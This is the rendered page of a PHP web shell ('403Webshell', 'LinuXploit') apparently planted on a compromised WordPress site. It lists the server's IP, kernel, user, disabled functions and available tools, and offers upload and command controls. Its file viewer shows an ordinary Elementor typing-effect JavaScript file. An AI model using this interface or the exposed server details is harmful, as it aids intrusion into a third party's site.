403Webshell
Server IP : 87.229.120.60  /  Your IP : 216.73.216.86
Web Server : Apache
System : Linux outside 5.4.8_Algonet_ZeroMAC_0.9.4.8 #6 SMP Mon Feb 3 20:36:07 CET 2020 x86_64
User : server ( 1002)
PHP Version : 8.3.20
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,curl_multi_exec,parse_ini_file,show_source
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/faktorteam/www/wp-content/plugins/rife-elementor-extensions/assets/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/faktorteam/www/wp-content/plugins/rife-elementor-extensions/assets/js/frontend.js
jQuery.noConflict();

(function($, window, document){
	var ElementorIsReadyFired = false;
	$( window ).on( 'elementor/frontend/init', () => {
		//it is already ready to fire
		ElementorIsReadyFired = true;
	});

	var onReady = function(){
		var typedJS = function($scope){
			$scope = typeof $scope === 'undefined'? $(document.body) : $scope;

			var typed_texts = $scope.find('.a13ree-written-headline');

			if(typed_texts.length){
				var start_typing = function(heading){
					var block         = $(heading),
						writing_area  = block.find('.written-lines'),
						block_strings = writing_area.text().split('\n'),
						is_loop       = block.data('loop') == 1,
						speed         = block.data('speed');

					//skip if it was initialized already
					if(writing_area.data('typed')){
						return;
					}

					writing_area
						.removeClass('elementor-screen-only')
						.empty()
						.typed({
						strings: block_strings,
						startDelay: 500,
						typeSpeed: parseInt(speed, 10),
						loop: is_loop
					});

					};

				typed_texts.each( function(){
					var _this = this;
					//native version
					if(typeof Waypoint === 'function'){
						//noinspection JSUnusedGlobalSymbols
						new Waypoint({
							element: _this,
							handler: function(){
								start_typing(this.element);
								//fire only once
								this.destroy();
							},
							offset: 'bottom-in-view'
						});
					}
					//jQuery version
					else if(typeof jQuery.waypoints === 'function'){
						$(this).waypoint( $.proxy(start_typing, this, this, 0),{ offset: 'bottom-in-view', triggerOnce:true } );
					}
					//no waypoints script available
					else{
						start_typing();
					}
				} );
			}
		};

		typedJS();

		var ElementorInitCallback = function(){
			if(typeof elementorFrontend !== 'undefined' && typeof elementorFrontend.hooks !== 'undefined'){
				elementorFrontend.hooks.addAction( 'frontend/element_ready/writing-effect-headline.default', function( $scope ) {
					typedJS($scope);
				} );
			}
		};

		//if event didn't fire yet
		$( window ).on( 'elementor/frontend/init', () => {
			ElementorInitCallback();
		} );

		//if event occured before the ready event, lets fire
		if(ElementorIsReadyFired === true){
			ElementorInitCallback();
		}

	};

	$(document).ready(onReady);
})(jQuery, window, document);

Youez - 2016 - github.com/yon3zu
LinuXploit